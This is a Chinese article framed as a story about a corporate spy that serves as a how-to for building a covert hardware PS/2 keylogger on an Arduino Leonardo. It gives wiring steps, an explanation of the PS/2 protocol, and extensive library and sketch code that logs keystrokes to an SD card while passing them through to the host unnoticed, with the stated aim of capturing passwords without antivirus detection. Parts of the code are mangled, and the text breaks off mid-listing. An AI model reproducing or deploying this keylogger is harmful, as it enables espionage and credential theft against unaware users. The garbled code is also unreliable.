免責(zé)聲明:本文純屬虛構(gòu),本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,風(fēng)險(xiǎn)自負(fù)!
星期天的早晨,在睡夢(mèng)中意淫了一晚上楊尼美的劉尼瑪被一陣突如其來(lái)的電話(huà)鈴聲所驚醒,不得不罵罵咧咧的爬起來(lái)接電話(huà),結(jié)果一看號(hào)碼居然是主管打來(lái)的,劉尼瑪?shù)念D時(shí)全醒了,主管在電話(huà)中把他劈頭蓋臉的一頓臭罵。
起因是兩天前主管安排劉尼瑪去生意伙伴那里取一些資料,并向老總申請(qǐng)了公司的移動(dòng)硬盤(pán),結(jié)果老總今天使用硬盤(pán)的時(shí)候,殺毒軟件報(bào)警,從里面查出來(lái)200多個(gè)木馬,氣急敗壞的老總用誰(shuí)也聽(tīng)不懂的家鄉(xiāng)土話(huà)罵了主管的七舅老爺和八姨夫等等各種八竿子打不著的親戚,憋了一肚子火憋得蛋疼的主管在挨完罵之后立馬把電話(huà)打給了罪魁禍?zhǔn)讋⒛岈,于是劉尼瑪(shù)母鞣N八竿子打不著的親戚外加十八代祖宗也被牽連了…
放下電話(huà)的劉尼瑪冷汗直流,渾身哆嗦了好久,好不容易稍微平靜之后,他手抖著點(diǎn)上了一支煙,卻突然發(fā)覺(jué)內(nèi)褲濕了,不知是剛才嚇尿了還是昨晚夢(mèng)見(jiàn)和楊尼美用各種姿勢(shì)翻云覆雨的時(shí)候弄濕的。
他恐懼的原因不是因?yàn)楣ぷ髦蟹噶隋e(cuò)誤被K了,而是這些木馬病毒本身就是身為商業(yè)間諜的他故意種進(jìn)去的,只是因?yàn)楣景惭b了強(qiáng)大的企業(yè)版殺毒軟件,已經(jīng)做過(guò)免殺的木馬還是被查了出來(lái)。
“還好沒(méi)有被發(fā)覺(jué),他們都認(rèn)為我是不小心中的毒”,劉尼瑪擦了一把冷汗,一邊自言自語(yǔ)一邊用密碼給總部發(fā)了一條信息.
0×01 永遠(yuǎn)跟不上的大牛腳步
我是總部的Q博士,因?yàn)閯⒛岈數(shù)哪抉R程序被全部查殺,所以他需要一個(gè)永遠(yuǎn)不可能被殺毒軟件查到的木馬,這個(gè)任務(wù)自然又落到了我的身上。
劉尼瑪碰到的難題并不讓我感到意外,殺毒技術(shù)的進(jìn)步使得木馬的壽命越來(lái)越短了,但是有一群大牛在一直引領(lǐng)著技術(shù)革新的潮流,他們總有辦法躲過(guò)殺毒軟件的追殺.
當(dāng)還是小菜的我好不容易用vb寫(xiě)出第一個(gè)木馬,加載到注冊(cè)表開(kāi)機(jī)啟動(dòng)時(shí),大牛嗤之以鼻,他說(shuō)現(xiàn)在我們都玩進(jìn)程注入了,這個(gè)早過(guò)時(shí)了;
當(dāng)我好不容易鼓搗成功dll木馬,準(zhǔn)備慶賀的時(shí)候,大牛又給我潑了一盆冷水,他說(shuō)現(xiàn)在是bootkit和rootkit的時(shí)代,傳統(tǒng)的木馬已經(jīng)進(jìn)歷史的垃圾堆了;
當(dāng)我狂啃下了一堆內(nèi)核書(shū)籍,終于知道rootkit是怎么回事的時(shí)候,大牛用嘲笑加可憐的眼神看著我說(shuō),你又晚了一步,我們都玩硬件了…
好吧,晚了就晚了,再晚也得跟著走,否則會(huì)更落后,現(xiàn)在我們開(kāi)始探究硬件木馬的原理:
硬件木馬目前已經(jīng)發(fā)展出了很多種,有截取顯卡輸出的視頻信號(hào)并發(fā)射的,有植入攝像頭悄悄記錄的,最常見(jiàn)的是鍵盤(pán)記錄器,將鍵盤(pán)偷偷接入鍵盤(pán)記錄器,再將記錄器插在主機(jī)上,就能記錄從鍵盤(pán)上輸入的數(shù)據(jù),比如賬號(hào)密碼,聊天記錄等等,而任何殺毒軟件都不會(huì)檢測(cè)到。
我們先從鍵盤(pán)的插口開(kāi)始,我這里沒(méi)有usb的鍵盤(pán),所以只研究了ps2口,但usb口的與之類(lèi)似. ps2口一共有6個(gè)針腳: clock時(shí)鐘、GND接地、DATA數(shù)據(jù)和5V的供電,剩余的兩個(gè)是沒(méi)有使用的保留口,排列順序如下圖所示:
在 計(jì)算機(jī)主機(jī)上的ps2是母口的,因此排列順序與上圖正好相反. 這6根線(xiàn)中只有Data和Clock用于數(shù)據(jù)傳輸,這樣看來(lái)鍵盤(pán)記錄器的原理其實(shí)并不復(fù) 雜,我們需要一塊微控制器和一個(gè)存儲(chǔ)器,微控制器從鍵盤(pán)的data針腳讀取輸入數(shù)據(jù),存入存儲(chǔ)器之后,再通過(guò)主機(jī)ps2插口上的data輸出,如下圖所 示:
實(shí)際上對(duì)主機(jī)的輸出并不一定仍然用ps2口,usb或者串口都可以.
看完上圖,也許有人會(huì)說(shuō)這實(shí)現(xiàn)起來(lái)很難,可能需要用到電路板、電阻、電容等一系列元件和豐富的無(wú)線(xiàn)電知識(shí),在很久以前這或許是事實(shí),但現(xiàn)在我們有一個(gè)新玩意兒,可以讓你在連焊接都不用的情況下就實(shí)現(xiàn)上面的設(shè)計(jì),它就是arduino.
0×02 什么是Arduino
Arduino 實(shí)際上就是一種開(kāi)發(fā)板,將微控制器和必需的元件集成在一塊電路板上,擴(kuò)展出完善的接口和針腳,就可以接上各種各樣的傳感器,完成你心中的設(shè)計(jì),你也可以把 它理解成一種電子積木,因?yàn)樗恍枰附,也不需要高深的無(wú)線(xiàn)電知識(shí),只需要編程基礎(chǔ)和基本的電路知識(shí)即可。
Arduino 不需要知道各種硬件的底層知識(shí),這些底層的調(diào)用都已經(jīng)提前幫你實(shí)現(xiàn)好了,而且它使用的是c語(yǔ)言而不是匯編,配有一個(gè)官方的IDE和各種硬件的調(diào)用庫(kù),你只 需要按照你自己的設(shè)計(jì)插接好各種硬件,就可以開(kāi)始編寫(xiě)程序了,編寫(xiě)完之后燒寫(xiě)入微控制器(在arduino中這稱(chēng)為下載),它們會(huì)自動(dòng)開(kāi)始運(yùn)行。
Arduino本身是一種開(kāi)源硬件,電路圖是公開(kāi)的,現(xiàn)在官方的和擴(kuò)展出的各種arduino板子加起來(lái)已經(jīng)有上百種,但其中最基本的仍然是UNO和它的升級(jí)版Leonardo,上圖就是UNO和Leonardo,我們的設(shè)計(jì)是基于Leonardo的.
Aduino的官方網(wǎng)站:http://www.arduino.cc,要進(jìn)行下面的內(nèi)容,請(qǐng)?jiān)诖讼螺darduino的官方IDE并安裝,在IDE安裝目錄的drivers子目錄中,有燒寫(xiě)arduino所需要的usb轉(zhuǎn)串口驅(qū)動(dòng),必須要先安裝驅(qū)動(dòng)才能開(kāi)始編程.
(有關(guān)arduino的其他具體細(xì)節(jié)請(qǐng)自行g(shù)oogle,這里只做基本介紹)
0×03 連接硬件
Arduino 的右邊有一排針腳,從0到13,除了0和1被RX和TX占用之外,其余的都可以用來(lái)擴(kuò)展各種硬件,我們先把PS2的鍵盤(pán)和arduino連起來(lái):
首先準(zhǔn)備四根杜邦線(xiàn),為了避免混淆,我采用和前面原理圖中一樣的顏色,把紅線(xiàn)從鍵盤(pán)PS2口的5V針腳接入板子上左側(cè)的5V針腳,把兩端的GND用 黑線(xiàn)連接起來(lái),黃線(xiàn)從Clock針腳接入板子上的3號(hào)針腳,棕黃色線(xiàn)從DATA針腳接入板子上的5號(hào)針腳(3號(hào)和5號(hào)并不是確定的,在后面我們編寫(xiě)的程序 中定義幾號(hào)針腳,這里就接幾號(hào)):
然后將arduino的miniUSB輸出連接到電腦上的USB口,在電腦上安裝USB轉(zhuǎn)串口驅(qū)動(dòng),打開(kāi)arduino IDE,在設(shè)置中設(shè)定好串口號(hào),開(kāi)始編寫(xiě)程序。
0×04 鍵盤(pán)輸入的原理
在編寫(xiě)程序之前,先要了解鍵盤(pán)和計(jì)算機(jī)之間是如何傳輸數(shù)據(jù)的。通 過(guò)前面的內(nèi)容,我們已經(jīng)知道鍵盤(pán)與計(jì)算機(jī)之間其實(shí)是通過(guò)四根線(xiàn)連接的,除去電源和接地,起作用的實(shí)際上是時(shí)鐘和數(shù)據(jù),它們同時(shí)向計(jì)算機(jī)發(fā)送電信號(hào). 而要將數(shù)據(jù)發(fā)送給計(jì)算機(jī),鍵盤(pán)會(huì)同時(shí)檢查這兩根線(xiàn)路,只有確認(rèn)它們都處于高位時(shí),鍵盤(pán)才會(huì)發(fā)送數(shù)據(jù),只要其中有一根處于低位,鍵盤(pán)就會(huì)認(rèn)為其他設(shè)備正在發(fā) 送數(shù)據(jù),從而繼續(xù)等待。
從鍵盤(pán)所發(fā)出的數(shù)據(jù)是一個(gè)11位的結(jié)構(gòu),如下圖所示:
起 始位的值一直固定為0,后面有8個(gè)數(shù)據(jù)位,這就是每按下一個(gè)鍵所發(fā)送的數(shù)據(jù)了,在每當(dāng)時(shí)鐘脈沖下降時(shí)就會(huì)從最小顯著位開(kāi)始發(fā)送,直到最高顯著位為止,按下 不同的鍵,各個(gè)時(shí)鐘脈沖下降的規(guī)律也會(huì)不同,時(shí)鐘脈沖的校驗(yàn)值每當(dāng)脈沖到達(dá)一次低位就與1進(jìn)行一次左移運(yùn)算,同時(shí)每當(dāng)數(shù)據(jù)脈沖與時(shí)鐘脈沖同時(shí)到達(dá)高位時(shí), 二者的校驗(yàn)值就進(jìn)行一次按位或運(yùn)算,最后循環(huán)運(yùn)算的結(jié)果就是所發(fā)送給計(jì)算機(jī)的按鍵值。
在數(shù)據(jù)位后面跟著的是一個(gè)奇偶校驗(yàn)位和一個(gè)停止位,停止位的值總是1,這兩個(gè)值其實(shí)是可以忽略的。
這里用一段示例的demo程序來(lái)說(shuō)明
1. /* 2. * ps2.h 3. */ 4. 5. #include"Arduino.h" 6. 7. class PS2 8. { 9. public: 10. PS2(intclk, int data); 11. unsigned char read(void); 12. private: 13. int_ps2clk; 14. int_ps2data; 15.}; 16. 17./* 18.* ps2.cpp 19.*/ 20.#include"ps2.h" 21. 22.PS2::PS2(int clk, intdata) //初始化,設(shè)置時(shí)鐘和數(shù)據(jù)位的針腳 23.{ 24. _ps2clk = clk; 25. _ps2data = data; 26.} 27. 28.unsigned charPS2::read(void) 29.{ 30. unsigned char data = 0×00; 31. unsigned char i; 32. unsigned char bit = 0×01; 33. 34. pinMode(_ps2clk, INPUT); 35. digitalWrite(_ps2clk, HIGH); 36. pinMode(_ps2data, INPUT); 37. digitalWrite(_ps2data, HIGH); //以上把時(shí)鐘和數(shù)據(jù)均設(shè)置為高位,開(kāi)始接受輸入 38. delayMicroseconds(50); 39. while (digitalRead(_ps2clk) ==HIGH) 40. ; 41. delayMicroseconds(5); 42. while (digitalRead(_ps2clk) ==LOW) //起始位的部分什么也不做,直接跳過(guò) 43. ; 44. for (i=0; i < 8; i++) //循環(huán)讀取數(shù)據(jù)位 45. { 46. while(digitalRead(_ps2clk) ==HIGH) 47. ; 48. if(digitalRead(_ps2data)==HIGH) //當(dāng)時(shí)鐘和數(shù)據(jù)線(xiàn)路均為高位時(shí)開(kāi)始計(jì)算 49. { 50. data =data bit; //兩個(gè)值進(jìn)行一次按位或運(yùn)算 51. } 52. while(digitalRead(_ps2clk) == LOW) 53. ; 54. bit =bit << 1; //時(shí)鐘脈沖每到達(dá)一次低位就與1進(jìn)行一次左移運(yùn)算 55. } 56. while (digitalRead(_ps2clk) ==HIGH) 57. ; 58. while (digitalRead(_ps2clk) ==LOW) //跳過(guò)校驗(yàn)位 59. ; 60. while (digitalRead(_ps2clk) ==HIGH) 61. ; 62. while (digitalRead(_ps2clk) ==LOW) //跳過(guò)停止位 63. ; 64. pinMode(_ps2clk, OUTPUT); 65. digitalWrite(_ps2clk, LOW); //全部讀取完畢,將時(shí)鐘設(shè)為低位 66. return data; 67.}
在arduino IDE所在路徑的libraries子目錄下新建一個(gè)ps2文件夾,把以上兩個(gè)源文件拷貝進(jìn)去,然后打開(kāi)IDE,它們就能以開(kāi)發(fā)庫(kù)的形式被調(diào)用。
在IDE中新建一個(gè)程序文件
1. #include<ps2.h> 2. 3. PS2 kbd(3, 5); //設(shè)置針腳為我們前面插入板子的3號(hào)和5號(hào) 4. 5. void setup() 6. { 7. Serial.begin(9600); 8. kbd.read(); 9. kbd.read();//進(jìn)行兩次測(cè)試 10.} 11.void loop() 12.{ 13. unsignedcharcode; 14. for(;;) { 15. code =kbd.read(); 16. Serial.println(code);//讀取鍵盤(pán)輸入并輸出到串口顯示 17. } 18.}
將以上代碼編譯并下載到arduino,然后打開(kāi)一個(gè)串口調(diào)試器,按下鍵盤(pán)上的任一個(gè)鍵(功能鍵除外),串口中都會(huì)有輸出。
0×05 完整的實(shí)現(xiàn)
我們已經(jīng)知道,鍵盤(pán)記錄器通過(guò)三個(gè)步驟記錄按鍵:截取輸入-存入存儲(chǔ)器-發(fā)送到計(jì)算機(jī),我們已經(jīng)知道了截取輸入的原理,但其具體的實(shí)現(xiàn)要比上面這個(gè)demo程序復(fù)雜的多,所幸的是,我們有現(xiàn)成的開(kāi)發(fā)庫(kù)可以利用。
這是arduino官方所推薦的第三方ps2鍵盤(pán)庫(kù),實(shí)現(xiàn)了基本的數(shù)字、字母和各種符號(hào)的輸入,截獲的按鍵代碼直接轉(zhuǎn)換成每個(gè)鍵的ascii值,但 缺點(diǎn)是支持的功能鍵很少,有些鍵按照其中的規(guī)則定義,會(huì)互相產(chǎn)生沖突,比如F1-F12鍵,就與從p到z的一組字母沖突,因?yàn)樵阪I盤(pán)ascii碼標(biāo)準(zhǔn)中它 們的值是一樣的,使用時(shí)需要增加額外的規(guī)則來(lái)判定,為此,我對(duì)這個(gè)庫(kù)做了修改,實(shí)現(xiàn)了ctrl和字母的組合,alt和字母的組合,不沖突的F1-F12功 能鍵,大小寫(xiě)切換以及原來(lái)庫(kù)里面已經(jīng)實(shí)現(xiàn)的翻頁(yè)和上下等特殊鍵,由于該開(kāi)發(fā)庫(kù)基于GPL協(xié)議開(kāi)源,那我修改后的版本也使用同樣的協(xié)議開(kāi)放源代碼,代碼如 下,如果你懶得看代碼,在本文的最后有下載地址,下載后直接放在libraries子目錄里即可。
/* * PS2Keyboard.h * Arduino PS2鍵盤(pán)支持庫(kù) * 修改自http://www.pjrc.com/teensy/arduino_libraries/PS2Keyboard.zip * 修改者:b41k3r * 基于GPLv2開(kāi)源 */ #ifndef PS2Keyboard_h #define PS2Keyboard_h #include <avr/io.h> #include<avr/interrupt.h> #include<avr/pgmspace.h> #if defined(ARDUINO)&& ARDUINO >= 100 #include"Arduino.h" #else #include"WProgram.h" #endif #definePS2_TAB 9 //這些定義完全按照這些鍵對(duì)應(yīng)的ascii值 #definePS2_ENTER 13 #definePS2_BACKSPACE 8 #definePS2_CAPS_LOCK 20 #definePS2_SHIFT 16 #definePS2_LINEFEED 10 #definePS2_ESC 27 #definePS2_INSERT 45 #definePS2_DELETE 127 #definePS2_HOME 36 #definePS2_END 35 #definePS2_PAGEUP 33 #definePS2_PAGEDOWN 34 #definePS2_UPARROW 38 #definePS2_LEFTARROW 37 #definePS2_DOWNARROW 40 #definePS2_RIGHTARROW 39 #definePS2_F1 -12 //為了避免沖突,將F1-F12的值重新定義為了負(fù)值 #definePS2_F2 -13 #definePS2_F3 -14 #definePS2_F4 -15 #definePS2_F5 -16 #definePS2_F6 -17 #definePS2_F7 -18 #definePS2_F8 -19 #definePS2_F9 -20 #definePS2_F10 -21 #definePS2_F11 -22 #definePS2_F12 -23 #definePS2_SCROLL 0 /* * 這段本來(lái)定義的是各種語(yǔ)言的鍵盤(pán)中的特殊字符,基本上沒(méi)有用,在這里為了不占篇幅去掉,詳細(xì)源 * 代碼請(qǐng)看文后的下載地址 */ #define PS2_KEYMAP_SIZE136 typedef struct { uint8_tnoshift[PS2_KEYMAP_SIZE]; uint8_tshift[PS2_KEYMAP_SIZE]; uint8_tuses_altgr; uint8_taltgr[PS2_KEYMAP_SIZE]; } PS2Keymap_t; extern const PROGMEMPS2Keymap_t PS2Keymap_US; extern const PROGMEMPS2Keymap_t PS2Keymap_German; class PS2Keyboard { public: PS2Keyboard(); staticvoidbegin(uint8_t dataPin, uint8_t irq_pin,const PS2Keymap_t &map=PS2Keymap_US); staticboolavailable(); staticintread(); intreadIt(); intgetCombinationKey(); }; #if!defined(CORE_INT0_PIN) #ifdefined(__AVR_ATmega1280__) defined(__AVR_ATmega2560__)// ArduinoMega #defineCORE_INT0_PIN 2 #defineCORE_INT1_PIN 3 #defineCORE_INT2_PIN 21 #defineCORE_INT3_PIN 20 #defineCORE_INT4_PIN 19 #defineCORE_INT5_PIN 18 #elifdefined(__AVR_ATmega644P__) defined(__AVR_ATmega644__) // Sanguino #defineCORE_INT0_PIN 10 #defineCORE_INT1_PIN 11 #defineCORE_INT2_PIN 2 #elifdefined(__AVR_ATmega32U4__) // Leonardo #define CORE_INT0_PIN 3 #define CORE_INT1_PIN 2 #define CORE_INT2_PIN 0 #define CORE_INT3_PIN 1 #else //ArduinoDuemilanove, Diecimila, LilyPad, Mini, Fio, etc… #defineCORE_INT0_PIN 2 #defineCORE_INT1_PIN 3 #endif #endif #endif /* * PS2Keyboard.cpp * Arduino PS2鍵盤(pán)支持庫(kù) * 修改自http://www.pjrc.com/teensy/arduino_libraries/PS2Keyboard.zip * 修改者:b41k3r * 基于GPLv2開(kāi)源 */ #include"PS2Keyboard.h" #define BUFFER_SIZE 45 static volatile uint8_tbuffer[BUFFER_SIZE]; static volatile uint8_thead, tail; static uint8_t DataPin; static uint8_tCharBuffer=0; static uint8_tUTF8next=0; static const PS2Keymap_t*keymap=NULL; intCombinationKey=0; //增加了一個(gè)參數(shù),用來(lái)判定按下的是否是功能鍵和組合鍵 voidps2interrupt(void) //讀取鍵盤(pán)輸入的函數(shù),基本原理同前面的demo程序 { staticuint8_t bitcount=0; staticuint8_t incoming=0; staticuint32_t prev_ms=0; uint32_tnow_ms; uint8_t n,val; val =digitalRead(DataPin); now_ms =millis(); if (now_ms- prev_ms > 250) { bitcount=0; incoming=0; } prev_ms =now_ms; n =bitcount – 1; if (n <=7) { incoming =(val << n); } bitcount++; if(bitcount == 11) { uint8_ti= head + 1; if(i>= BUFFER_SIZE) i = 0; if(i!= tail) { buffer[i]=incoming; head= i; } bitcount=0; incoming=0; } } static inline uint8_tget_scan_code(void) { uint8_t c,i; i = tail; if (i ==head) return 0; i++; if (i >=BUFFER_SIZE) i = 0; c =buffer[i]; tail = i; return c; } const PROGMEM PS2Keymap_tPS2Keymap_US = { //預(yù)先定義好鍵盤(pán)上所有的常用鍵所對(duì)應(yīng)的值 // without shift {0, PS2_F9,0, PS2_F5, PS2_F3,PS2_F1, PS2_F2, PS2_F12, 0, PS2_F10,PS2_F8, PS2_F6,PS2_F4, PS2_TAB, '`', 0, 0, 0/*Lalt*/, PS2_SHIFT, 0, 0/*Lctrl*/, 'q','1',0, 0, 0, 'z','s','a', 'w', '2',0, 0, 'c','x', 'd', 'e', '4', '3',0, 0, ' ','v', 'f', 't', 'r', '5',0, 0, 'n','b', 'h', 'g', 'y', '6',0, 0, 0, 'm','j', 'u', '7', '8',0, 0, ',','k', 'i', 'o', '0', '9',0, 0, '.','/', 'l', ';', 'p', '-',0, 0, 0, ''',0, '[', '=', 0, 0, PS2_CAPS_LOCK,PS2_SHIFT,PS2_ENTER /*Enter*/, ']', 0, '\', 0, 0, 0, 0, 0, 0,0, 0, PS2_BACKSPACE,0, 0, '1', 0,'4', '7', 0, 0, 0, '0', '.','2', '5', '6', '8',PS2_ESC, 0 /*NumLock*/, PS2_F11,'+', '3', '-', '*','9', PS2_SCROLL, 0, 0, 0, 0,PS2_F7 }, // with shift {0, PS2_F9,0, PS2_F5, PS2_F3,PS2_F1, PS2_F2, PS2_F12, 0, PS2_F10,PS2_F8, PS2_F6,PS2_F4, PS2_TAB, '~', 0, 0, 0/*Lalt*/, PS2_SHIFT, 0, 0/*Lctrl*/, 'Q', '!', 0, 0, 0, 'Z','S', 'A', 'W', , 0, 'C','X', 'D', 'E', ', '#',0, 0, ' ','V', 'F', 'T', 'R', '%',0, 0, 'N','B', 'H', 'G', 'Y', '^',0, 0, 0, 'M','J', 'U', '&','*', 0, 0, '<','K', 'I', 'O', ')','(', 0, 0, '>','?', 'L', ':', 'P','_', 0, 0, 0,'"', 0, '{', '+', 0,0, PS2_CAPS_LOCK,PS2_SHIFT,PS2_ENTER /*Enter*/, '}', 0, ' ', 0, 0, 0, 0, 0, 0,0, 0, PS2_BACKSPACE,0, 0, '1', 0,'4', '7', 0, 0, 0, '0', '.','2', '5', '6', '8',PS2_ESC, 0 /*NumLock*/, PS2_F11,'+', '3', '-', '*','9', PS2_SCROLL, 0, 0, 0, 0,PS2_F7 }, 0 }; #defineBREAK 0×01 #defineMODIFIER 0×02 #defineSHIFT_L 0×04 #defineSHIFT_R 0×08 #defineALTGR 0×10 #defineCTRL 0×20 static charget_iso8859_code(void) { staticuint8_t state=0; uint8_t s; char c; while (1) { s=get_scan_code(); if(!s)return 0; if(s== 0xF0) { state =BREAK; }elseif (s == 0xE0) { state =MODIFIER; }else{ if(state& BREAK) { if(s == 0×12){ state&=~SHIFT_L; }else if (s ==0×59) { state&=~SHIFT_R; }else if (s ==0×14) { state&=~CTRL; }else if (s ==0×11) { state&=~ALTGR; } state&=~(BREAK MODIFIER); continue; } if(s== 0×12) { state =SHIFT_L; CombinationKey=3; continue; }elseif (s == 0×59) { state =SHIFT_R; continue; }elseif (s == 0×14) { state =CTRL; continue; }elseif (s == 0×11) { state = ALTGR; } c=0; if(state& MODIFIER) { switch(s) { case0×70: c= PS2_INSERT; break; case0x6C: c= PS2_HOME; break; case0x7D: c= PS2_PAGEUP; break; case0×71: c= PS2_DELETE; break; case0×69: c= PS2_END; break; case0x7A: c= PS2_PAGEDOWN; break; case0x75:c =PS2_UPARROW; break; case0x6B: c= PS2_LEFTARROW; break; case0×72: c= PS2_DOWNARROW; break; case0×74: c= PS2_RIGHTARROW; break; case0x4A: c= '/'; break; case0x5A: c= PS2_ENTER; break; default:break; } }elseif (state & (SHIFT_L SHIFT_R)) { if(s <PS2_KEYMAP_SIZE) c=pgm_read_byte(keymap->shift + s); }else{ if(s< PS2_KEYMAP_SIZE) c=pgm_read_byte(keymap->noshift + s); } if(state& CTRL) { //ctrl加字母組合鍵 CombinationKey=1; if(c>= 'A' && c <='Z') c=0-c; elseif (c>= 'a' && c <= 'z') c=0-c; elseif (c ==PS2_ENTER) c=PS2_LINEFEED; } if(state& ALTGR) { //alt加字母組合鍵 CombinationKey=2; if(c >= 'A'&& c <= 'Z') c=0-c; elseif (c>= 'a' && c <= 'z') c=0-c; elseif (c ==PS2_ENTER) c=PS2_LINEFEED; } state&=~(BREAK MODIFIER); if(c)return c; } } } intPS2Keyboard::getCombinationKey() { returnCombinationKey; } boolPS2Keyboard::available() { if(CharBuffer UTF8next)return true; CharBuffer= get_iso8859_code(); if(CharBuffer) return true; return false; } int PS2Keyboard::readIt(){ returnread(); } int PS2Keyboard::read() { uint8_tresult; result =UTF8next; if (result){ UTF8next=0; } else { result=CharBuffer; if(result){ CharBuffer=0; }else{ result=get_iso8859_code(); } if(result>= 128) { if(result>= 233 && result <= 244) //F1-F12的輸入判定 { CombinationKey=result; }else { UTF8next=(result & 0x3F) 0×80; result=((result >> 6) & 0x1F) 0xC0; } } } if(!result) return -1; returnresult; } PS2Keyboard::PS2Keyboard(){ // nothing todohere, begin() does it all } void PS2Keyboard::begin(uint8_tdata_pin, uint8_tirq_pin, constPS2Keymap_t &map) { uint8_tirq_num=0; DataPin =data_pin; keymap =↦ #ifdef INPUT_PULLUP pinMode(irq_pin,INPUT_PULLUP); pinMode(data_pin,INPUT_PULLUP); #else pinMode(irq_pin,INPUT); digitalWrite(irq_pin,HIGH); pinMode(data_pin,INPUT); digitalWrite(data_pin,HIGH); #endif switch(irq_pin) { #ifdefCORE_INT0_PIN caseCORE_INT0_PIN: irq_num = 0; break; #endif #ifdefCORE_INT1_PIN caseCORE_INT1_PIN: irq_num = 1; break; #endif #ifdefCORE_INT2_PIN caseCORE_INT2_PIN: irq_num = 2; break; #endif #ifdefCORE_INT3_PIN caseCORE_INT3_PIN: irq_num = 3; break; #endif #ifdefCORE_INT4_PIN caseCORE_INT4_PIN: irq_num = 4; break; #endif #ifdefCORE_INT5_PIN caseCORE_INT5_PIN: irq_num = 5; break; #endif #ifdefCORE_INT6_PIN caseCORE_INT6_PIN: irq_num = 6; break; #endif #ifdefCORE_INT7_PIN caseCORE_INT7_PIN: irq_num = 7; break; #endif default: irq_num = 0; break; } head = 0; tail = 0; attachInterrupt(irq_num,ps2interrupt, FALLING);}
鍵 盤(pán)輸入的庫(kù)有了,接下來(lái)第二步是將上面所截獲的數(shù)據(jù)存入存儲(chǔ)器,arduino自身提供了EEPROM存儲(chǔ)器,但是容量?jī)H僅只有1k,這樣小的空間顯然不 能滿(mǎn)足我們的要求,但arduino本是就是為擴(kuò)展各種功能而設(shè)計(jì)出來(lái)的,為此我們?yōu)樗尤胍粔Ksd卡擴(kuò)展板,將鍵盤(pán)數(shù)據(jù)存儲(chǔ)在sd卡中,這里我選用 seeed studio的SD Shield(這種擴(kuò)展板市面上有很多,只要是支持arduino的,買(mǎi)來(lái)都能用),擴(kuò)展板的安裝極為簡(jiǎn)單,只需按照針腳位置對(duì)接插入,如下圖所示:
這些為arduino定制的擴(kuò)展板都有很好的兼容性,所以只要插上,然后用現(xiàn)成的SD卡庫(kù)開(kāi)發(fā)一段存儲(chǔ)程序即可。
接下來(lái)是如何將截獲的鍵值發(fā)送到計(jì)算機(jī)的問(wèn)題,這個(gè)問(wèn)題自從arduino升級(jí)到leonardo,官方已經(jīng)提供了完整的支持(這也是我們的設(shè)計(jì)基于leonardo的原因),這個(gè)新增的keyboard庫(kù)可以用很簡(jiǎn)單的代碼模擬鍵盤(pán)向計(jì)算機(jī)輸入數(shù)據(jù)。
好,現(xiàn)在萬(wàn)事具備,只差一段最后的程序了:
1. 2. /* Name:arduinoPS2鍵盤(pán)記錄器程序 3. * Author:b41k3r 4. * Update:2014-01-10 5. 6. * Version:0×06 7. */ 8. #include<PS2Keyboard.h> 9. #include<SD.h> //引用SD卡讀寫(xiě)官方庫(kù) 10. 11.const int DataPin = 5; 12.const intIRQpin= 3; //設(shè)置數(shù)據(jù)和時(shí)鐘針腳 13.File RecordFile; //定義文件寫(xiě)入 14.StringrecordTemp="[Begin]";//監(jiān)聽(tīng)的臨時(shí)參數(shù),每監(jiān)聽(tīng)到一個(gè)鍵就加在此字符的后面,并設(shè)定每次監(jiān)聽(tīng)的開(kāi)頭為[Begin] 15.PS2Keyboard kbd; //PS2Keyboard 類(lèi)實(shí)例化 16.void setup() { 17. Keyboard.begin();//向計(jì)算機(jī)發(fā)送按鍵信號(hào)準(zhǔn)備開(kāi)始 18. kbd.begin(DataPin,IRQpin,PS2Keymap_US); //設(shè)置鍵盤(pán)為標(biāo)準(zhǔn)的美國(guó)101 19. Serial.begin(9600); 20. pinMode(10,OUTPUT); 21. if(!SD.begin(4)) { 22. Serial.println("Initialization failed!"); 23. } 24. RecordFile=SD.open("record.txt",FILE_WRITE); //在SD卡建立文件,準(zhǔn)備寫(xiě)入 25.} 26. 27.void loop() { //開(kāi)始循環(huán)監(jiān)聽(tīng) 28.if (kbd.available()) { 29. char c=kbd.readIt(); //讀取輸入的鍵 30. intCombinationKey =kbd.getCombinationKey(); 31. if(c<0) 32. { //CombinationKey=2和1代表alt和ctrl兩種組合鍵 33. if(CombinationKey==2) 34. { 35. Keyboard.press(KEY_LEFT_ALT); 36. Keyboard.press(abs(c)); 37. delay(100); 38. Keyboard.releaseAll(); 39. }else if (CombinationKey==1) 40. { 41. Serial.println(abs(c)); 42. Keyboard.press(KEY_LEFT_CTRL); 43. Keyboard.press(abs(c)); 44. delay(100); 45. Keyboard.releaseAll(); 46. }else if(CombinationKey>=233&&CombinationKey<=244) //代表F1-F12 47. { 48. Serial.println(CombinationKey); 49. switch (CombinationKey) { 50. case244: KeyPress(KEY_F1); break; 51. case243: KeyPress(KEY_F2); break; 52. case242: KeyPress(KEY_F3); break; 53. case241: KeyPress(KEY_F4); break; 54. case240: KeyPress(KEY_F5); break; 55. case239: KeyPress(KEY_F6); break; 56. case238: KeyPress(KEY_F7); break; 57. case237: KeyPress(KEY_F8); break; 58. case236: KeyPress(KEY_F9); break; 59. case235: KeyPress(KEY_F10); break; 60. case234: KeyPress(KEY_F11); break; 61. case233: KeyPress(KEY_F12); break; 62. default: break; 63. } 64. 65. } 66. } 67. else{ 68. switch (c) { //其余的功能鍵 69. casePS2_ENTER: KeyPress(KEY_RETURN); break; 70. casePS2_TAB: KeyPress(KEY_TAB); break; 71. casePS2_BACKSPACE:KeyPress(KEY_BACKSPACE);break; 72. casePS2_SHIFT: KeyPress(KEY_LEFT_SHIFT); break; 73. casePS2_ESC: KeyPress(KEY_ESC); break; 74. casePS2_PAGEDOWN: KeyPress(KEY_PAGE_DOWN); break; 75. &n